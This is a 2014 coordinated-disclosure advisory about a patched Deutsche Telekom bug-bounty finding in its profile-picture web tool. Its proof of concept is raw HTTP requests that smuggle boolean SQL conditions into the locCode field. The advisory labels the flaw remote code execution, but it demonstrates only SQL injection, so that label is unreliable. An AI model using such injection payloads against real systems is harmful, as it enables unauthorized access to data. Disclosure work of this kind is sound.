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[Full-disclosure] German Telekom Bug Bounty #9 - Code Execution Vulnerability

Document Title:
===============
German Telekom Bug Bounty #9 - Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1174

Dev Article: 
http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/

Exclusive News: 
http://news.softpedia.com/news/Expert-Finds-SQL-Injection-and-RCE-Vulnerabilities-in-Deutsche-Telekom-Systems-424518.shtml


Release Date:
=============
2014-02-05


Vulnerability Laboratory ID (VL-ID):
====================================
1174


Common Vulnerability Scoring System:
====================================
9.4


Product & Service Introduction:
===============================
Deutsche Telekom AG (English: German Telecom) is a German telecommunications 
company headquartered in Bonn, 
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the 
former state-owned monopoly 
Deutsche Bundespost was privatized. As of June 2008, the German government 
still holds a 15% stake in company 
stock directly, and another 17% through the government bank KfW.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom  &  
http://www.telekom.com/bug-bounty  )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote code execution 
vulnerability in the official  german Telekom online-service web-application.


Vulnerability Disclosure Timeline:
==================================
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-12-30: Vendor Notification (Telekom CERT Security Team)
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000€)
2014-02-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Deutsche Telekom (German Telecom)
Product: Profil Bild Online Service - Web Application 2013 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A rRemote Code Execution vulnerability has been discovered in the official 
Telekom online-service web-application.
The remote vulnerability allows attackers to inject unauthorized system 
commands to compromise the affected machine.

The Remote Code Execution vulnerability is located in the `downloadImage.php` 
and `process.php` file. The vulnerable 
parameter value is the `locCode`. Remote attackers can manipulate the POST 
method request with the ImgType values 
to inject/execute own php commands. 

Exploitation of the sql issue does not require a low privileged web-applicaton 
user account without user interaction.
Successful exploitation of the vulnerability results in system & 
web-application (service) compromise.

Vulnerable Module(s):
                                [+] telekom.de (profilbildtool)

Vulnerable File(s):
                                [+] downloadImage.php
                                [+] process.php

Vulnerable Parameter(s):
                                [+] locCode > AT


Proof of Concept (PoC):
=======================
The remote code execution vulnerability can be exploited by remote attackers 
without user interaction or privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below.


Send this request first ...

POST /scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 

Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: 

XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; 
BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-

Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'a'='a



Get the Image the image with this request ...

GET 
/scripts/php/downloadImage.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 
Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: 

http://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive



because ...

locCode=AT'+and+'a'='a
is TRUE you will see that the image has "AT" in the top left corner 

Repeat with these two requests ...

//Generate the image

POST 

/scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 
Gecko/20100101 Firefox/25.0
Accept: 

text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type: 

application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; 
BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-

Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'b'='a

// Get the image

GET /scripts/php/downloadImage.php 

HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 
Gecko/20100101 Firefox/25.0
Accept: 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: 

http://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive

Because ...

the condition is FALSE 
the image won't have AT in the TOP corner


To doublecheck

//Generate another image in with this request

POST /scripts/php/process.php HTTP/1.1
Host: 

profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 
Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml, 

*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-

10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+OR+'a'='a


//Get the image

GET /scripts/php/downloadImage.php HTTP/1.1
Host: 

profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 
Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml

+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://profilbildtool.telekom.de/imagecropper.php?

lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive

Now you will see that the image has AR in the top left 

corner ... Why AR?? 
If you check the page ... 
http://profilbildtool.telekom.de/imagecropper.php?lang=en

you will find in type of activity section the Lead Accounts 

parameter, the first item in the list is AR which 
is the result when the OR condition is TRUE it returns all the locations and it 
chooses the first one.


Solution - Fix & Patch:
=======================
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000€)


Security Risk:
==============
The security risk of the remote code execution vulnerability is estimated as 
critical.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed 
(ibrahim@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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